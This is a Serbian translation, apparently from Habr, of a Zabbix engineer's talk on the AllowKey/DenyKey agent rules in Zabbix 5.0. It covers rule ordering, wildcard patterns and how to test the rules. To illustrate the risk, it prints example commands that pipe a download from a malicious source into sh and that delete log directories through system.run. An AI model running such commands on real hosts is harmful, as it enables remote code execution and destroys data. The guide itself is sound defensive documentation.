Подршка за црне и беле листе за метрике на страни агента у Заббик-у 5.0

Подршка за црне и беле листе за метрике на страни агента

Тихон Усков, инжењер интеграције, Заббик

Питања безбедности података

Заббик 5.0 има нову функцију која вам омогућава да побољшате безбедност у системима који користе Заббик Агент и замењује стари параметар ЕнаблеРемотеЦоммандс.

Побољшања у безбедности система заснованих на агентима произилазе из чињенице да агент може да изврши велики број потенцијално опасних радњи.

• Агент може прикупити скоро све информације, укључујући поверљиве или потенцијално опасне информације, из конфигурационих датотека, датотека евиденције, датотека лозинки или било којих других датотека.

На пример, помоћу услужног програма заббик_гет можете приступити листи корисника, њиховим кућним директоријумима, датотекама лозинки итд.

Приступ подацима помоћу услужног програма заббик_гет

НАПОМЕНА. Подаци се могу преузети само ако агент има дозволе за читање одговарајуће датотеке. Али, на пример, фајл /етц/пассвд/ читљив за све кориснике.

• Агент такође може да изврши потенцијално опасне команде. На пример, кључ *систем.рун[]** вам омогућава да извршите било које удаљене команде на мрежним чворовима, укључујући покретање скрипти са Заббик веб интерфејса које такође извршавају команде на страни агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• На Линук-у, агент ради подразумевано без роот привилегија, док на Виндовс-у ради као услуга као систем и има неограничен приступ систему датотека. Сходно томе, ако се након инсталације не изврше никакве промене у параметрима Заббик агента, агент има приступ регистру, систему датотека и може да извршава ВМИ упите.

У старијим верзијама параметар ЕнаблеРемотеЦоммандс=0 дозвољено само онемогућавање метрике помоћу кључа *систем.рун[]** и покретање скрипти са веб интерфејса, али није било начина да се ограничи приступ појединачним датотекама, дозволи или онемогући појединачни кључ који су инсталирани са агентом, или да се ограничи употреба појединачних параметара.

Коришћење параметра ЕнаблеРемотеЦомманд у старијим верзијама Заббик-а

АлловКеи/ДениКеи

Заббик 5.0 помаже у заштити од таквог неовлашћеног приступа тако што обезбеђује беле и црне листе за дозвољавање и одбијање метрике на страни агента.

У Заббик-у 5.0 сви кључеви, укључујући *систем.рун[]** су омогућени и додате су две нове опције конфигурације агента:

АлловКеи= — дозвољене провере;

ДениКеи= — забрањене провере;

где је шаблон имена кључа са параметрима који користи метакарактере (*).

Тастери АлловКеи и ДениКеи вам омогућавају да дозволите или одбијете појединачне метрике на основу одређеног обрасца. За разлику од других конфигурационих параметара, број АлловКеи/ДениКеи параметара није ограничен. Ово вам омогућава да јасно дефинишете шта тачно агент може да ради у систему креирањем стабла провера – извршних кључева, при чему редослед којим су написани игра веома важну улогу.

Редослед правила

Правила се проверавају редоследом којим су унета у конфигурациони фајл. Кључ се проверава према правилима пре првог подударања, а чим се кључ елемента података поклопи са шаблоном, дозвољава се или одбија. Након тога, провера правила се зауставља и преостали кључеви се игноришу.

Стога, ако се елемент подудара и са правилом за дозвољавање и са правилом забране, резултат ће зависити од тога које је правило прво у конфигурационој датотеци.

2 различита правила са истим шаблоном и кључем вфс.филе.сизе[/тмп/филе]

Редослед коришћења тастера АлловКеи/ДениКеи:

1. тачна правила,
2. Општа правила,
3. прохибитивно правило.

На пример, ако вам је потребан приступ датотекама у одређеној фасцикли, прво морате да дозволите приступ њима, а затим да забраните све остало што не спада у утврђене дозволе. Ако се прво користи правило забране, приступ фасцикли ће бити одбијен.

Исправан редослед

Ако треба да дозволите да се 2 услужна програма покрећу преко *систем.рун[]**, а правило одбијања ће бити прво наведено, услужни програми неће бити покренути, јер ће се први образац увек подударати са било којим кључем, а следећа правила ће бити занемарена.

Нетачна секвенца

Паттернс

Основна правила

Образац је израз са џокер знаковима. Метазнак (*) одговара било ком броју било ког карактера на одређеној позицији. Метазнакови се могу користити и у називу кључа и у параметрима. На пример, можете стриктно дефинисати први параметар са текстом, и наведите следећи као џокер знак.

Параметри се морају ставити у угласте заграде [].

• system.run[* - неисправан
• vfs.file*.txt] - неисправан
• vfs.file.*[*] - јел тако

Примери коришћења џокер знакова.

1. У називу кључа и у параметру. У овом случају, кључ не одговара сличном кључу који не садржи параметар, пошто смо у обрасцу назначили да желимо да добијемо одређени завршетак имена кључа и одређени скуп параметара.
2. Ако образац не користи угласте заграде, образац дозвољава све кључеве који не садрже параметре и одбија све кључеве који садрже наведени параметар.
3. Ако је кључ написан у потпуности и параметри су наведени као џокер, он ће се подударати са било којим сличним кључем са било којим параметрима и неће одговарати кључу без угластих заграда, односно биће дозвољен или одбијен.

Правила за попуњавање параметара.

• Ако је предвиђено да се користи кључ са параметрима, параметри морају бити наведени у конфигурационој датотеци. Параметри морају бити наведени као метазнак. Неопходно је пажљиво забранити приступ било којој датотеци и узети у обзир које информације метрика може да пружи под различитим начинима писања - са и без параметара.

Особине писања кључева са параметрима

• Ако је кључ наведен са параметрима, али су параметри опциони и наведени као метазнак, кључ без параметара ће бити разрешен. На пример, ако желите да онемогућите пријем информација о оптерећењу ЦПУ-а и наведете да кључ систем.цпу.лоад[*] треба да буде онемогућен, не заборавите да ће кључ без параметара вратити просечну вредност оптерећења.

Правила за попуњавање параметара

Белешке

подешавање

• Нека правила корисник не може да промени, на пример, правила откривања или правила аутоматске регистрације агента. АлловКеи/ДениКеи правила не утичу на следеће параметре:
  - ХостнамеИтем
  - ХостМетадатаИтем
  - ХостИнтерфацеИтем

НАПОМЕНА. Ако администратор онемогући кључ, када се постави упит, Заббик не пружа информације о томе зашто метрика или кључ спадају у категорију „НИЈЕ ПОДРЖАН'. Информације о забранама извршавања даљинских команди такође се не приказују у датотекама дневника агента. Ово је из безбедносних разлога, али може да закомпликује отклањање грешака ако метрика из неког разлога спада у неподржану категорију.

• Не треба да се ослањате на било који одређени редослед за повезивање екстерних конфигурационих датотека (на пример, по абецедном реду).

Услужни програми командне линије

Након подешавања правила, потребно је да се уверите да је све исправно конфигурисано.

Можете користити једну од три опције:

• Додајте метрику у Заббик.
• Тест са заббик_агентд. Заббик агент са опцијом -принт (-п) приказује све кључеве (који су подразумевано дозвољени) осим оних које конфигурација не дозвољава. И са опцијом -тест (-т) јер ће се забрањени кључ вратити 'Неподржани кључ ставке'.
• Тест са заббик_гет. Корисност заббик_гет са опцијом -k ће се вратити 'ЗБКС_НОТСУППОРТЕД: Непозната метрика'.

Дозволите или одбијте

Можете одбити приступ датотеци и потврдити, на пример, помоћу услужног програма заббик_гетда је приступ датотеци одбијен.

**

НАПОМЕНА. Наводници у параметру се занемарују.

У овом случају, приступ таквој датотеци може бити дозвољен преко друге путање. На пример, ако симболична веза води до њега.

Препоручљиво је проверити различите опције за примену наведених правила, а такође узети у обзир могућности заобилажења забрана.

Питања и одговори

Питање. Зашто је тако сложен образац са сопственим језиком изабран да опише правила, дозволе и забране? Зашто није било могуће користити, на пример, регуларне изразе које Заббик користи?

Одговор. Ово је проблем са перформансама редовног израза јер обично постоји само један агент и он проверава огроман број метрика. Регек је прилично тешка операција и на овај начин не можемо да проверимо хиљаде метрика. Вилдцардс - универзално, широко коришћено и једноставно решење.

Питање. Зар датотеке Укључи нису укључене по абецедном реду?

Одговор. Колико ја знам, практично је немогуће предвидети редослед којим ће се правила примењивати ако их распоредите на различите датотеке. Препоручујем да сакупите сва правила АлловКеи/ДениКеи у једној инцлуде датотеци, јер су у интеракцији једни са другима, укључујући и ову датотеку.

Питање. У Заббик-у 5.0 опција 'ЕнаблеРемотеЦоммандс=' недостаје у конфигурационој датотеци, а доступни су само АлловКеи/ДениКеи?

Одговор. да то је тачно.

Спасибо за внимание!

Извор: ввв.хабр.цом